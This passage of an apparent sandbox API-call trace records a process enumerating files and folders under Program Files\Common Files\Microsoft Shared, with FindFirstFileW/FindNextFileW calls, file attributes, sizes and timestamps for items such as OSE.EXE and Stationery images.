nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0076.574] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0076.575] GetProcessHeap () returned 0x550000 [0076.575] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0076.575] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0076.575] GetProcessHeap () returned 0x550000 [0076.575] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0076.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0076.617] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.617] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0076.617] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0076.617] FindClose (in: hFindFile=0x2684270 | out: hFindFile=0x2684270) returned 1 [0076.618] GetProcessHeap () returned 0x550000 [0076.618] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0076.618] FindNextFileW (in: hFindFile=0x2684230, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0076.618] GetProcessHeap () returned 0x550000 [0076.618] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0076.618] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684270 [0077.260] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.020] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0078.020] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0078.021] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0078.021] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0078.021] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0078.021] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0078.021] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0078.022] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0078.022] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0078.022] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0078.022] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0078.022] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0078.023] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0078.023] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0078.023] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0078.023] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0078.023] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0078.024] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0078.024] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0078.024] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0078.024] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0078.024] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0078.025] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0078.025] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0078.025] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0078.025] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0078.026] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0078.026] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0078.026] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0078.026] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0078.026] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0078.028] FindNextFileW (in: 